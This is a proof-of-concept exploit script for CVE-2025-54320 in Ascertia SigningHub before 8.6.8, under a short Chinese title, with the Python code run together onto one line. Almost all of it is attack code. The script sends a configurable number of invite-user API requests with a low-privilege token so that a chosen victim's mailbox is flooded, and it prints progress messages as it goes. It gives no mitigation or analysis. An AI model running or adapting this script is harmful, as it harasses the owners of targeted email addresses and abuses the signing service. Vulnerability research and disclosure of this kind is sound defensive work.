CVE-2025-54320 Ascertia SigningHub邀请用户功能缺乏速率限制导致邮件轰炸漏洞

# CVE-2025-54320 PoC - Email Bombing via Invite User Function # Target: Ascertia SigningHub < 8.6.8 # Vulnerability: Lack of rate limiting on invite user function import requests import time import argparse def exploit_cve_2025_54320(target_url, auth_token, target_email, count=100): """ CVE-2025-54320 Exploit - Email bombing via invite user API Args: target_url: Base URL of SigningHub instance auth_token: Authentication token (low-privilege user) target_email: Target email address to flood count: Number of invite requests to send """ session = requests.Session() headers = { 'Authorization': f'Bearer {auth_token}', 'Content-Type': 'application/json' } # Invite user API endpoint invite_endpoint = f"{target_url}/api/v1/users/invite" payload = { 'email': target_email, 'role': 'user', 'send_invite': True } print(f"[*] Starting email bombing attack on {target_email}") print(f"[*] Target: {target_url}") print(f"[*] Sending {count} invite requests...") for i in range(count): try: response = session.post(invite_endpoint, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Request {i+1}/{count} sent successfully") else: print(f"[-] Request {i+1}/{count} failed: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Small delay to avoid immediate connection issues time.sleep(0.1) print(f"[*] Attack completed. Sent {count} invite requests.") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-54320 PoC') parser.add_argument('--url', required=True, help='Target SigningHub URL') parser.add_argument('--token', required=True, help='Authentication token') parser.add_argument('--email', required=True, help='Target email address') parser.add_argument('--count', type=int, default=100, help='Number of requests') args = parser.parse_args() exploit_cve_2025_54320(args.url, args.token, args.email, args.count)